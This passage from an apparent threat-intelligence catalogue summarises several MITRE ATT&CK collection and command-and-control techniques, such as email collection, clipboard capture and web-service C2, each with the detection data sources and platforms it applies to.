Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre